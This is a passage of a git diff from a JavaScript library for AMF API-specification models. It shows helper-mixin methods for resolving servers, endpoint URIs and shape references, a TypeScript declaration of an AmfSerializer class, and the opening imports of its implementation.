+    const allowedPartialModelTypes = [this._getAmfKey(oKey), this._getAmfKey(eKey)];
+    const types = model['@type'];
+    for (const type of types) {
+      if (allowedPartialModelTypes.indexOf(type) !== -1) {
+        return true;
+      }
+    }
+    return false;
+  }
+
+  /**
+   * @param {ServersQueryOptions=} [options={}] Server query options
+   * @returns {Server[]} List of servers for method, if defined, or endpoint, if defined, or root level
+   */
+  _getServers(options = {}) {
+    const { endpointId, methodId } = options;
+    const { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    let api = this._computeApi(amf);
+    if (Array.isArray(api)) {
+      [api] = api;
+    }
+    if (!api) {
+      if (this._isValidServerPartial(amf)) {
+        api = amf;
+      } else {
+        return undefined;
+      }
+    }
+
+    const serverKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.server);
+
+    const getRootServers = () => /** @type Server[] */ (this[getArrayItems](api, serverKey));
+    const getEndpointServers = () => {
+      const endpoint = this._computeEndpointModel(api, endpointId);
+      const servers = /** @type Server[] */ (this[getArrayItems](endpoint, serverKey));
+      if (servers) {
+        return servers;
+      }
+      return getRootServers();
+    };
+    const getMethodServers = () => {
+      const method = this._computeMethodModel(api, methodId);
+      const servers = /** @type Server[] */ (this[getArrayItems](method, serverKey));
+      if (servers) {
+        return servers;
+      }
+      return getEndpointServers();
+    };
+
+    if (methodId) {
+      return getMethodServers();
+    } if (endpointId) {
+      return getEndpointServers();
+    }
+    return getRootServers();
+  }
+
+  /**
+   * Compute values for `server` property based on node an optional selected id.
+   *
+   * @param {ServerQueryOptions=} options Server query options
+   * @returns {Server[]|undefined} The server list or undefined if node has no servers
+   */
+  _getServer(options = {}) {
+    const { endpointId, methodId, id } = options;
+    const servers = this._getServers({ endpointId, methodId });
+    return servers ? servers.filter((srv) => this._getValue(srv, '@id') === id) : undefined;
+  }
+
+  /**
+   * Computes endpoint's URI based on `amf` and `endpoint` models.
+   *
+   * @param {Server} server Server model of AMF API.
+   * @param {EndPoint} endpoint Endpoint model
+   * @param {string=} baseUri Current value of `baseUri` property
+   * @param {string=} version API current version
+   * @returns {string} Endpoint's URI
+   * @deprecated Use `_computeUri()` instead
+   */
+  _computeEndpointUri(server, endpoint, baseUri, version) {
+    let baseValue = this._getBaseUri(baseUri, server) || '';
+    if (baseValue && baseValue[baseValue.length - 1] === '/') {
+      baseValue = baseValue.substr(0, baseValue.length - 1);
+    }
+    baseValue = this._ensureUrlScheme(baseValue);
+    const path = this._getValue(endpoint, this.ns.aml.vocabularies.apiContract.path);
+    let result = baseValue + (path || '');
+    if (version && result) {
+      result = result.replace('{version}', version);
+    }
+    return result;
+  }
+
+  /**
+   * Computes endpoint's URI based on `endpoint` model.
+   *
+   * @param {EndPoint} endpoint Model for the endpoint
+   * @param {ComputeUriOptions=} options Configuration options
+   * @returns {string} The base uri for the endpoint.
+   */
+  _computeUri(endpoint, options = {}) {
+    const { server, baseUri, version, ignoreBase=false, protocols, ignorePath = false } = options;
+    let baseValue = '';
+    if (ignoreBase === false) {
+      baseValue = this._getBaseUri(baseUri, server, protocols) || '';
+      if (baseValue && baseValue[baseValue.length - 1] === '/') {
+        baseValue = baseValue.substr(0, baseValue.length - 1);
+      }
+      baseValue = this._ensureUrlScheme(baseValue, protocols);
+    }
+    let result = baseValue;
+    if (version && result) {
+      result = result.replace('{version}', version);
+    }
+    if (!ignorePath) {
+      result = this._appendPath(result, endpoint);
+    }
+    return result;
+  }
+
+  /**
+   * Appends endpoint's path to url
+   * @param {string} url
+   * @param {EndPoint} endpoint
+   * @returns {string}
+   */
+  _appendPath(url, endpoint) {
+    const path = this._getValue(endpoint, this.ns.aml.vocabularies.apiContract.path);
+    return url + (path || '');
+  }
+
+  /**
+   * Computes base URI value from either `baseUri` or `amf` value (in this order).
+   *
+   * @param {string} baseUri Value of `baseUri` property
+   * @param {Server} server AMF API model for Server.
+   * @param {string[]=} protocols List of supported protocols
+   * @returns {string} Base uri value. Can be empty string.
+   */
+  _getBaseUri(baseUri, server, protocols) {
+    if (baseUri) {
+      return baseUri;
+    }
+    return this._getAmfBaseUri(server, protocols) || '';
+  }
+
+  /**
+   * Computes base URI from AMF model.
+   *
+   * @param {Server} server AMF API model for Server.
+   * @param {string[]=} protocols The list of supported protocols. If not
+   * provided and required to compute the url it uses `amf` to compute
+   * protocols
+   * @returns {string|undefined} Base uri value if exists.
+   */
+  _getAmfBaseUri(server, protocols) {
+    const key = this.ns.aml.vocabularies.core.urlTemplate;
+    let value = /** @type string */ (this._getValue(server, key));
+    value = this._ensureUrlScheme(value, protocols);
+    return value;
+  }
+
+  /**
+   * A function that makes sure that the URL has a scheme definition.
+   * If no supported protocols information is available it assumes `http`.
+   *
+   * @param {string} value A url value
+   * @param {string[]=} protocols List of supported by the API protocols
+   * An array of string like: `['HTTP', 'HTTPS']`. It lowercase the value.
+   * If not set it tries to read supported protocols value from `amf`
+   * property.
+   * @returns {string} Url with scheme.
+   */
+  _ensureUrlScheme(value, protocols) {
+    if (value && typeof value === 'string') {
+      if (value.indexOf('http') !== 0) {
+        if (!protocols || !protocols.length) {
+          /* eslint-disable-next-line no-param-reassign */
+          protocols = this._computeProtocols(this.amf);
+        }
+        if (protocols && protocols.length) {
+          const protocol = protocols[0].toLowerCase();
+          if (!value.startsWith(protocol)) {
+            /* eslint-disable-next-line no-param-reassign */
+            value = `${protocol}://${value}`;
+          }
+        } else {
+          /* eslint-disable-next-line no-param-reassign */
+          value = `http://${value}`;
+        }
+      }
+    }
+    return value;
+  }
+
+  /**
+   * Computes supported protocols by the API.
+   *
+   * @param {AmfDocument} model AMF data model
+   * @returns {string[]|undefined}
+   */
+  _computeProtocols(model) {
+    const api = this._computeApi(model);
+    if (!api) {
+      return undefined;
+    }
+    return /** @type string[]} */ (this._getValueArray(api, this.ns.aml.vocabularies.apiContract.scheme));
+  }
+
+  /**
+   * Computes value for the `expects` property.
+   *
+   * @param {Operation} method AMF `supportedOperation` model
+   * @returns {Request}
+   */
+  _computeExpects(method) {
+    const operationKey = this.ns.aml.vocabularies.apiContract.Operation;
+    const expectsKey = this.ns.aml.vocabularies.apiContract.expects;
+    if (this._hasType(method, operationKey)) {
+      const key = this._getAmfKey(expectsKey);
+      const expects = this._ensureArray(method[key]);
+      if (expects) {
+        return Array.isArray(expects) ? expects[0] : expects;
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Finds an example value (whether it's default value or from an
+   * example) to put it into snippet's values.
+   *
+   * @param {Parameter} item A http://raml.org/vocabularies/http#Parameter property
+   * @returns {string|undefined}
+   */
+  _computePropertyValue(item) {
+    const exKey = this.ns.aml.vocabularies.apiContract.examples;
+    const schemaKey = this.ns.aml.vocabularies.shapes.schema;
+    const rawKey = this.ns.aml.vocabularies.document.raw;
+    const sKey = this._getAmfKey(schemaKey);
+    let schema = item && item[sKey];
+    if (!schema) {
+      return undefined;
+    }
+    if (Array.isArray(schema)) {
+      [schema] = schema;
+    }
+    let value = this._getValue(schema, this.ns.w3.shacl.defaultValue);
+    if (!value) {
+      const examplesKey = this._getAmfKey(exKey);
+      let example = schema[examplesKey];
+      if (example) {
+        if (example instanceof Array) {
+          [example] = example;
+        }
+        value = this._getValue(example, rawKey);
+      }
+    }
+    return /** @type string */ (value);
+  }
+
+  /**
+   * Computes list of endpoints from a WebApi model.
+   * @param {WebApi} webApi
+   * @returns {EndPoint[]|undefined} An array of endpoints.
+   */
+  _computeEndpoints(webApi) {
+    if (!webApi) {
+      return [];
+    }
+    const endpointKey = this.ns.aml.vocabularies.apiContract.endpoint;
+    const key = this._getAmfKey(endpointKey);
+    return this._ensureArray(webApi[key]);
+  }
+
+  /**
+   * Computes model for an endpoint documentation.
+   *
+   * @param {WebApi} webApi Current value of `webApi` property
+   * @param {string} id Selected shape ID
+   * @returns {EndPoint} An endpoint definition
+   */
+  _computeEndpointModel(webApi, id) {
+    const endpoints = this._computeEndpoints(webApi);
+    if (!endpoints) {
+      return undefined;
+    }
+    return endpoints.find((item) => item['@id'] === id);
+  }
+
+  /**
+   * Computes model for an endpoint documentation using it's path.
+   *
+   * @param {WebApi} webApi Current value of `webApi` property
+   * @param {string} path Endpoint path
+   * @returns {EndPoint|undefined} An endpoint definition
+   */
+  _computeEndpointByPath(webApi, path) {
+    if (!path || !webApi) {
+      return undefined;
+    }
+    const endpoints = this._computeEndpoints(webApi);
+    if (!endpoints) {
+      return undefined;
+    }
+    const pathKey = this.ns.aml.vocabularies.apiContract.path;
+    for (let i = 0; i < endpoints.length; i++) {
+      const ePath = this._getValue(endpoints[i], pathKey);
+      if (ePath === path) {
+        return endpoints[i];
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Computes method for the method documentation.
+   *
+   * @param {WebApi} webApi Current value of `webApi` property
+   * @param {string} selected Selected shape
+   * @returns {Operation} A method definition
+   */
+  _computeMethodModel(webApi, selected) {
+    const methods = this.__computeMethodsListForMethod(webApi, selected);
+    if (!methods) {
+      return undefined;
+    }
+    return methods.find((item) => item['@id'] === selected);
+  }
+
+  /**
+   * Computes list of operations in an endpoint
+   * @param {WebApi} webApi The WebApi AMF model
+   * @param {string} id Endpoint ID
+   * @returns {Operation[]} List of SupportedOperation objects
+   */
+  _computeOperations(webApi, id) {
+    const endpoint = this._computeEndpointModel(webApi, id);
+    if (!endpoint) {
+      return [];
+    }
+    const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation);
+    return this._ensureArray(endpoint[opKey]);
+  }
+
+  /**
+   * Computes an endpoint for a method.
+   * @param {WebApi} webApi The WebApi AMF model
+   * @param {string} methodId Method id
+   * @returns {EndPoint|undefined} An endpoint model of undefined.
+   */
+  _computeMethodEndpoint(webApi, methodId) {
+    if (!webApi || !methodId) {
+      return undefined;
+    }
+    const endpoints = this._computeEndpoints(webApi);
+    if (!endpoints) {
+      return undefined;
+    }
+    const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation);
+    for (let i = 0, len = endpoints.length; i < len; i++) {
+      const endpoint = endpoints[i];
+      let methods = endpoint[opKey];
+      if (!methods) {
+        continue;
+      }
+      if (!(methods instanceof Array)) {
+        methods = [methods];
+      }
+      for (let j = 0, jLen = methods.length; j < jLen; j++) {
+        if (methods[j]['@id'] === methodId) {
+          return endpoint;
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Computes a list of methods for an endpoint that contains a method with
+   * given id.
+   *
+   * @param {WebApi} webApi WebApi model
+   * @param {string} methodId Method id.
+   * @returns {Operation[]|undefined} A list of sibling methods or undefined.
+   */
+  __computeMethodsListForMethod(webApi, methodId) {
+    const endpoint = this._computeMethodEndpoint(webApi, methodId);
+    if (!endpoint) {
+      return undefined;
+    }
+    const opKey = this._getAmfKey(this.ns.aml.vocabularies.apiContract.supportedOperation);
+    return this._ensureArray(endpoint[opKey]);
+  }
+
+  /**
+   * Computes a type documentation model.
+   *
+   * @param {DomainElement[]} declares Current value of `declares` property
+   * @param {DomainElement[]} references Current value of `references` property
+   * @param {string} selected Selected shape
+   * @returns {Shape} A type definition
+   */
+  _computeType(declares, references, selected) {
+    if ((!declares && !references) || !selected) {
+      return undefined;
+    }
+    // In compact model some IDs are presented in long version (in source maps for examples)
+    // This must test for this case as well.
+    const compactId = selected.replace('amf://id', '');
+    let type = declares && declares.find((item) => item['@id'] === selected || item['@id'] === compactId);
+    if (!type && references && references.length) {
+      for (let i = 0, len = references.length; i < len; i++) {
+        if (!this._hasType(references[i], this.ns.aml.vocabularies.document.Module)) {
+          continue;
+        }
+        type = this._computeReferenceType(references[i], selected);
+        if (type) {
+          break;
+        }
+      }
+    }
+    return type;
+  }
+
+  /**
+   * Finds a type in the model declares and references.
+   * @param {string} domainId The domain id of the type (AMF's shape).
+   * @returns {Shape|undefined} The AMF shape or undefined when not found.
+   */
+  [findAmfType](domainId) {
+    let { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    if (Array.isArray(amf)) {
+      [amf] = amf;
+    }
+    const declares = this._computeDeclares(amf);
+    const compactId = domainId.replace('amf://id', '');
+    if (Array.isArray(declares)) {
+      const result = declares.find((item) => item['@id'] === domainId || item['@id'] === compactId);
+      if (result) {
+        return result;
+      }
+    }
+    return this[findReferenceObject](domainId);
+  }
+
+  /**
+   * Searches for an object in model's references list.
+   * It does not resolve the object (useful for handling links correctly).
+   * 
+   * @param {string} domainId The domain of the object to find in the references.
+   * @returns {DomainElement|undefined} The domain object or undefined.
+   */
+  [findReferenceObject](domainId) {
+    let { amf } = this;
+    if (!amf) {
+      return undefined;
+    }
+    if (Array.isArray(amf)) {
+      [amf] = amf;
+    }
+    const references = this._computeReferences(amf);
+    if (!Array.isArray(references) || !references.length) {
+      return undefined;
+    }
+    const compactId = domainId.replace('amf://id', '');
+    for (let i = 0, len = references.length; i < len; i++) {
+      const ref = /** @type AmfDocument */ (references[i]);
+      const declares = this._computeDeclares(ref);
+      if (!Array.isArray(declares)) {
+        continue;
+      }
+      for (let j = 0, lenDecl = declares.length; j < lenDecl; j++) {
+        let declared = declares[j];
+        if (Array.isArray(declared)) {
+          [declared] = declared;
+        }
+        if (declared['@id'] === domainId || declared['@id'] === compactId) {
+          return declared;
+        }
+      }
+    }
+    return undefined;
+  }
+
+  /**
+   * Computes a type model from a reference (library for example).
+   * @param {DomainElement} reference AMF model for a reference to extract the data from
+   * @param {string} selected Node ID to look for
+   * @returns {Shape|undefined} Type definition or undefined if not found.
+   */
+  _computeReferenceType(reference, selected) {
+    const declare = this._computeDeclares(reference);
+    if (!declare) {
+      return undefined;
+    }
+    // In compact model some IDs are presented in long version (in source maps for examples)
+    // This must test for this case as well.
+    const compactId = selected.replace('amf://id', '');
+    let result = declare.find((item) => {
+      if (Array.isArray(item)) {
+        /* eslint-disable-next-line no-param-reassign */
+        [item] = item;
+      }
+      return item['@id'] === selected || item['@id'] === compactId;
+    });
+    if (Array.isArray(result)) {
+      [result] = result;
+    }
+    return this._resolve(result);
+  }
+
+  /**
+   * Computes model for selected security definition.
+   *
+   * @param {DomainElement[]} declares Current value of `declares` property
+   * @param {string} selected Selected shape
+   * @returns {SecurityScheme|undefined} A security definition
+   */
+  _computeSecurityModel(declares, selected) {
+    if (!declares || !selected) {
+      return undefined;
+    }
+    return declares.find((item) => item['@id'] === selected);
+  }
+
+  /**
+   * Computes a documentation model.
+   *
+   * @param {WebApi} webApi Current value of `webApi` property
+   * @param {string} selected Selected shape
+   * @returns {DomainElement|undefined}
+   */
+  _computeDocument(webApi, selected) {
+    if (!webApi || !selected) {
+      return undefined;
+    }
+    const key = this._getAmfKey(this.ns.schema.doc);
+    const docs = this._ensureArray(webApi[key]);
+    return docs && docs.find((item) => item['@id'] === selected);
+  }
+
+  /**
+   * Resolves a reference to an external fragment.
+   *
+   * @param {any} shape A shape to resolve
+   * @returns {any} Resolved shape.
+   */
+  _resolve(shape) {
+    const {amf} = this;
+    if (typeof shape !== 'object' || shape instanceof Array || !amf || shape.__apicResolved) {
+      return shape;
+    }
+    let refKey = this._getAmfKey(this.ns.aml.vocabularies.document.linkTarget);
+    let refValue = this._ensureArray(shape[refKey]);
+    let refData;
+    if (refValue) {
+      const rk = refValue[0]['@id'];
+      if (rk === shape['@id']) {
+        // recursive shape.
+        /* eslint-disable-next-line no-param-reassign */
+        shape.__apicResolved = true;
+        return shape;
+      }
+      refData = this._getLinkTarget(amf, rk);
+    } else {
+      refKey = this._getAmfKey(this.ns.aml.vocabularies.document.referenceId);
+      refValue = this._ensureArray(shape[refKey]);
+      if (refValue) {
+        const rk = refValue[0]['@id'];
+        if (rk === shape['@id']) {
+          // recursive shape.
+          /* eslint-disable-next-line no-param-reassign */
+          shape.__apicResolved = true;
+          return shape;
+        }
+        refData = this._getReferenceId(amf, rk);
+      }
+    }
+    if (!refData) {
+      this._resolveRecursive(shape);
+      /* eslint-disable-next-line no-param-reassign */
+      shape.__apicResolved = true;
+      return shape;
+    }
+    const copy = { ...refData};
+    delete copy['@id'];
+    const types = copy['@type'];
+    if (types) {
+      if (shape['@type']) {
+        /* eslint-disable-next-line no-param-reassign */
+        shape['@type'] = shape['@type'].concat(types);
+      } else {
+        /* eslint-disable-next-line no-param-reassign */
+        shape['@type'] = types;
+      }
+      delete copy['@type'];
+    }
+    this._mergeShapes(shape, copy);
+    /* eslint-disable-next-line no-param-reassign */
+    shape.__apicResolved = true;
+    this._resolveRecursive(shape);
+    return shape;
+  }
+
+  /**
+   * @param {AmfDocument} amf References object to search in
+   * @param {string} id Id of the shape to resolve
+   * @returns {DomainElement | undefined} Resolved shape for given reference, undefined otherwise
+   */
+  _getLinkTarget(amf, id) {
+    if (!amf || !id) {
+      return undefined;
+    }
+    let target;
+    const declares = this._computeDeclares(amf);
+    if (declares) {
+      target = this._findById(declares, id);
+    }
+    if (!target) {
+      const references = this._computeReferences(amf);
+      target = this._obtainShapeFromReferences(references, id)
+    }
+    if (!target) {
+      return undefined;
+    }
+    // Declaration may contain references
+    target = this._resolve(target);
+    return target;
+  }
+
+  /**
+   * Resolves the shape of a given reference.
+   *
+   * @param {DomainElement[]} references References object to search in
+   * @param {string} id Id of the shape to resolve
+   * @returns {DomainElement | undefined} Resolved shape for given reference, undefined otherwise
+   */
+  _obtainShapeFromReferences(references, id) {
+    if (!Array.isArray(references) || !references.length) {
+      return undefined;
+    }
+    let target;
+    for (let i = 0; i < references.length; i++) {
+      const _ref = references[i];
+      // case of fragment that encodes the shape
+      const encoded = this._computeEncodes(_ref);
+      if (encoded && encoded['@id'] === id) {
+        target = encoded;
+        break;
+      }
+      // case of a library which declares types
+      if (!encoded) {
+        target = this._findById(this._computeDeclares(_ref), id);
+        if (target) break;
+      }
+    }
+    return target;
+  }
+
+  /**
+   * Searches a node with a given ID in an array
+   *
+   * @param {DomainElement[]} array Array to search for a given ID
+   * @param {string} id Id to search for
+   * @returns {DomainElement | undefined} Node with the given ID when found, undefined otherwise
+   */
+  _findById(array, id) {
+    if (!array) return undefined;
+    let target;
+    for (let i = 0; i < array.length; i++) {
+      const _current = array[i];
+      if (_current && _current['@id'] === id) {
+        target = _current;
+        break;
+      }
+    }
+    return target;
+  }
+
+  _getReferenceId(amf, id) {
+    if (!amf || !id) {
+      return undefined;
+    }
+    const refs = this._computeReferences(amf);
+    if (!refs) {
+      return undefined;
+    }
+    for (let i = 0; i < refs.length; i++) {
+      const _ref = refs[i];
+      const enc = this._computeEncodes(_ref);
+      if (enc) {
+        if (enc['@id'] === id) {
+          return enc;
+        }
+      }
+    }
+    return undefined;
+  }
+
+  _resolveRecursive(shape) {
+    Object.keys(shape).forEach((key) => {
+      const currentShape = shape[key];
+      if (currentShape instanceof Array) {
+        for (let i = 0, len = currentShape.length; i < len; i++) {
+          currentShape[i] = this._resolve(currentShape[i]);
+        }
+      } else if (typeof currentShape === 'object') {
+        /* eslint-disable-next-line no-param-reassign */
+        shape[key] = this._resolve(currentShape);
+      }
+    });
+  }
+
+  /**
+   * Merge two shapes together. If the resulting shape has one of the "special merge" keys,
+   * then the special merge function for that key will be used to match that property
+   * @param {any} shapeA AMF node
+   * @param {any} shapeB AMF node
+   * @returns {*} Merged AMF node
+   * @private
+   */
+  _mergeShapes(shapeA, shapeB) {
+    const merged = { ...shapeA, ...shapeB };
+    const specialMerges = [
+      { key: this._getAmfKey(this.ns.aml.vocabularies.docSourceMaps.sources), merger: this._mergeSourceMapsSources.bind(this) },
+    ];
+    specialMerges.forEach(({ key, merger }) => {
+      if (this._hasProperty(merged, key)) {
+        merged[key] = merger(shapeA, shapeB);
+      }
+    });
+    return Object.assign(shapeA, merged);
+  }
+
+  /**
+   * Obtains source map sources value from two shapes and returns the merged result
+   * If neither shape has a sources node, then an empty object will be returned.
+   * Result is wrapped in an array as per AMF model standard
+   * @param shapeA AMF node
+   * @param shapeB AMF node
+   * @returns {(*|{})[]} Empty object or resulting merge, wrapped in an array
+   * @private
+   */
+  _mergeSourceMapsSources(shapeA, shapeB) {
+    const sourcesKey = this._getAmfKey(this.ns.aml.vocabularies.docSourceMaps.sources);
+    let aSources = shapeA[sourcesKey] || {};
+    if (Array.isArray(aSources)) {
+      /* eslint-disable prefer-destructuring */
+      aSources = aSources[0];
+    }
+    let bSources = shapeB[sourcesKey] || {};
+    if (Array.isArray(bSources)) {
+      /* eslint-disable prefer-destructuring */
+      bSources = bSources[0];
+    }
+    return [Object.assign(aSources, bSources)];
+  }
+
+  /**
+   * Expands the key property from compacted mode to full mode.
+   * @param {string} value The value to process
+   * @returns {string} The expanded value.
+   */
+  [expandKey](value) {
+    let { amf } = this;
+    if (!value || typeof value !== 'string' || !amf) {
+      return value;
+    }
+    if (Array.isArray(amf)) {
+      [amf] = amf;
+    }
+    const ctx = amf['@context'];
+    if (!ctx) {
+      return value;
+    }
+    const [root, key] = value.split(':');
+    if (!root || !key) {
+      return value;
+    }
+    const prefix = ctx[root];
+    if (!prefix) {
+      return value;
+    }
+    return `${prefix}${key}`;
+  }
+};
diff --git a/src/helpers/AmfSerializer.d.ts b/src/helpers/AmfSerializer.d.ts
new file mode 100644
index 0000000..a3250ac
--- /dev/null
+++ b/src/helpers/AmfSerializer.d.ts
@@ -0,0 +1,182 @@
+import { AmfHelperMixin } from "./AmfHelperMixin.js";
+import {
+  AnyShape, ApiKeySettings, ArrayNode, ArrayShape, Callback, CreativeWork, DataArrangeShape,
+  DataNode, DocumentSourceMaps, DomainElement, EndPoint, Example, FileShape, HttpSettings,
+  IriTemplateMapping, NodeShape, OAuth1Settings, OAuth2Flow, OAuth2Settings, ObjectNode,
+  OpenIdConnectSettings, Operation, Parameter, ParametrizedSecurityScheme, Payload,
+  PropertyShape, RecursiveShape, Request, Response, ScalarNode, ScalarShape, SchemaShape,
+  Scope, SecurityRequirement, SecurityScheme, Server, Settings, Shape, SynthesizedField,
+  Tag, TemplatedLink, TupleShape, UnionShape, Api, WebApi, AsyncApi, Organization, License,
+} from "./amf.js";
+import {
+  ApiAnyShape, ApiArrayNode, ApiArrayShape, ApiCallback, ApiCustomDomainProperty, ApiDataArrangeShape,
+  ApiDataNode, ApiDataNodeUnion, ApiDocumentation, ApiDocumentSourceMaps, ApiEndPoint, ApiExample,
+  ApiFileShape, ApiIriTemplateMapping, ApiNodeShape, ApiObjectNode, ApiOperation, ApiParameter,
+  ApiParametrizedSecurityScheme, ApiPayload, ApiPropertyShape, ApiRecursiveShape, ApiRequest, ApiResponse,
+  ApiScalarNode, ApiScalarShape, ApiSchemaShape, ApiSecurityApiKeySettings, ApiSecurityHttpSettings,
+  ApiSecurityOAuth1Settings, ApiSecurityOAuth2Flow, ApiSecurityOAuth2Settings,
+  ApiSecurityOpenIdConnectSettings, ApiSecurityRequirement, ApiSecurityScheme, ApiSecurityScope,
+  ApiSecuritySettings, ApiSecuritySettingsUnion, ApiServer, ApiShape, ApiShapeUnion, ApiSynthesizedField,
+  ApiTag, ApiTupleShape, ApiUnionShape, ApiXMLSerializer, ApiOrganization, ApiSummary, ApiBase,
+  ApiWeb, ApiAsync, ApiLicense,
+} from "./types.js";
+
+/**
+ * A class that takes AMF's ld+json model and outputs JavaScript interface of it.
+ */
+export declare class AmfSerializer extends AmfHelperMixin(Object) {
+  /**
+   * @param graph Optional AMF generated graph model.
+   */
+  constructor(graph?: DomainElement);
+  /**
+   * @param types THe list of graph object types. When not defined it returns an empty array.
+   * @returns The expanded types.
+   */
+  readTypes(types: string[]): string[];
+  /**
+   * @param object The API to serialize.
+   * @returns API summary, without complex objects.
+   */
+  apiSummary(object: Api): ApiSummary;
+  api(object: Api): ApiBase;
+  webApi(object: WebApi): ApiWeb;
+  asyncApi(object: AsyncApi): ApiAsync;
+  provider(object: Organization): ApiOrganization;
+  license(object: License): ApiLicense;
+
+  /**
+   * @param object The AMF Server to serialize.
+   * @returns Serialized Server
+   */
+  server(object: Server): ApiServer;
+
+  /**
+   * @param object The Parameter to serialize.
+   * @returns Serialized Parameter
+   */
+  parameter(object: Parameter): ApiParameter;
+  unknownShape(object: Shape): ApiShapeUnion;
+  isLink(object: DomainElement): boolean;
+  shape(object: Shape): ApiShape;
+  anyShape(object: AnyShape): ApiAnyShape;
+  /**
+   * Filters examples that should be rendered for a payload identified by `trackedId`.
+   * 
+   * This function is copied from old `api-example-generator/ExampleGenerator`.
+   */
+  filterTrackedExamples(examples: Example[], trackedId: string): Example[];
+  /**
+   * Kind of the opposite of the `filterTrackedExamples`. It gathers examples that only have been 
+   * defined for the parent Shape (ed in the type declaration). It filters out all examples
+   * defined in a payload.
+   */
+  filterNonTrackedExamples(examples: Example[]): Example[];
+  scalarShape(object: ScalarShape): ApiScalarShape;
+  /**
+   * @param object The NodeShape to serialize
+   */
+  nodeShape(object: NodeShape): ApiNodeShape;
+  propertyShape(object: PropertyShape): ApiPropertyShape;
+  unionShape(object: UnionShape): ApiUnionShape;
+  fileShape(object: FileShape): ApiFileShape;
+  schemaShape(object: SchemaShape): ApiSchemaShape;
+  recursiveShape(object: RecursiveShape): ApiRecursiveShape;
+  dataArrangeShape(object: DataArrangeShape): ApiDataArrangeShape;
+  arrayShape(object: ArrayShape): ApiArrayShape;
+  tupleShape(object: TupleShape): ApiTupleShape;
+  /**
+   * @param object The CreativeWork to serialize.
+   * @returns Serialized CreativeWork
+   */
+  documentation(object: CreativeWork): ApiDocumentation;
+  /**
+   * @param object The Example to serialize.
+   * @returns Serialized Example
+   */
+  example(object: Example): ApiExample;
+  xmlSerializer(object: XMLSerializer): ApiXMLSerializer;
+  unknownDataNode(object: DataNode): ApiDataNodeUnion;
+  dataNode(object: DataNode): ApiDataNode;
+  scalarNode(object: ScalarNode): ApiScalarNode;
+  objectNode(object: ObjectNode): ApiObjectNode;
+  arrayNode(object: ArrayNode): ApiArrayNode;
+
+  /**
+   * Adds the custom domain properties to the currently processed property, a.k.a annotations.
+   * @param object 
+   * @returns The list of custom domain properties.
+   */
+  customDomainProperties(object: DomainElement): ApiCustomDomainProperty[];
+
+  /**
+   * @param object The EndPoint to serialize.
+   * @returns Serialized EndPoint
+   */
+  endPoint(object: EndPoint): ApiEndPoint;
+
+  /**
+   * @param object The Operation to serialize.
+   * @returns Serialized Operation
+   */
+  operation(object: Operation): ApiOperation;
+  tag(object: Tag): ApiTag;
+  callback(object: Callback): ApiCallback;
+
+  /**
+   * @param object The API request to serialize.
+   * @returns Serialized API request
+   */
+  request(object: Request): ApiRequest;
+
+  /**
+   * @param object The Response to serialize.
+   * @returns Serialized Response
+   */
+  response(object: Response): ApiResponse;
+
+  /**
+   * @param object The Payload to serialize.
+   * @returns Serialized Payload
+   */
+  payload(object: Payload): ApiPayload;
+
+  /**
+   * @param object The TemplatedLink to serialize.
+   * @returns Serialized TemplatedLink
+   */
+  templatedLink(object: TemplatedLink): TemplatedLink;
+  iriTemplateMapping(object: IriTemplateMapping): ApiIriTemplateMapping;
+
+  /**
+   * @param object The ParametrizedSecurityScheme to serialize.
+   * @returns Serialized ParametrizedSecurityScheme
+   */
+  parametrizedSecurityScheme(object: ParametrizedSecurityScheme): ApiParametrizedSecurityScheme;
+
+  /**
+   * @param object The SecurityScheme to serialize.
+   * @returns Serialized SecurityScheme
+   */
+  securityScheme(object: SecurityScheme): ApiSecurityScheme;
+
+  /**
+   * @param object The SecurityRequirement to serialize.
+   * @returns Serialized SecurityRequirement
+   */
+  securityRequirement(object: SecurityRequirement): ApiSecurityRequirement;
+  securitySettings(object: Settings): ApiSecuritySettingsUnion;
+  settings(object: Settings): ApiSecuritySettings;
+  oAuth1Settings(object: OAuth1Settings): ApiSecurityOAuth1Settings;
+  oAuth2Settings(object: OAuth2Settings): ApiSecurityOAuth2Settings;
+  oAuth2Flow(object: OAuth2Flow): ApiSecurityOAuth2Flow;
+  scope(object: Scope): ApiSecurityScope;
+  apiKeySettings(object: ApiKeySettings): ApiSecurityApiKeySettings;
+  httpSettings(object: HttpSettings): ApiSecurityHttpSettings;
+  openIdConnectSettings(object: OpenIdConnectSettings): ApiSecurityOpenIdConnectSettings;
+  /**
+   * Serializes source maps, when available.
+   */
+  sourceMap(object: DocumentSourceMaps): ApiDocumentSourceMaps | undefined;
+  synthesizedField(object: SynthesizedField): ApiSynthesizedField;
+}
diff --git a/src/helpers/AmfSerializer.js b/src/helpers/AmfSerializer.js
new file mode 100644
index 0000000..f6aff63
--- /dev/null
+++ b/src/helpers/AmfSerializer.js
@@ -0,0 +1,2236 @@
+/* eslint-disable class-methods-use-this */
+import { AmfHelperMixin, expandKey, findAmfType, getArrayItems } from "./AmfHelperMixin.js";
+
+/** @typedef {import('./api').ApiParametrizedSecurityScheme} ApiParametrizedSecurityScheme */
+/** @typedef {import('./api').ApiRequest} ApiRequest */
+/** @typedef {import('./api').ApiSecurityScheme} ApiSecurityScheme */
+/** @typedef {import('./api').ApiSecurityRequirement} ApiSecurityRequirement */
+/** @typedef {import('./api').ApiTemplatedLink} ApiTemplatedLink */
+/** @typedef {import('./api').ApiResponse} ApiResponse */
+/** @typedef {import('./api').ApiPayload} ApiPayload */
+/** @typedef {import('./api').ApiExample} ApiExample */
+/** @typedef {import('./api').ApiParameter} ApiParameter */
+/** @typedef {import('./api').ApiOperation} ApiOperation */
+/** @typedef {import('./api').ApiEndPoint} ApiEndPoint */
+/** @typedef {import('./api').ApiServer} ApiServer */
+/** @typedef {import('./api').ApiDocumentation} ApiDocumentation */
+/** @typedef {import('./api').ApiShape} ApiShape */
+/** @typedef {import('./api').ApiPropertyShape} ApiPropertyShape */
+/** @typedef {import('./api').ApiAnyShape} ApiAnyShape */
+/** @typedef {import('./api').ApiNodeShape} ApiNodeShape */
+/** @typedef {import('./api').ApiScalarShape} ApiScalarShape */
+/** @typedef {import('./api').ApiUnionShape} ApiUnionShape */
+/** @typedef {import('./api').ApiFileShape} ApiFileShape */
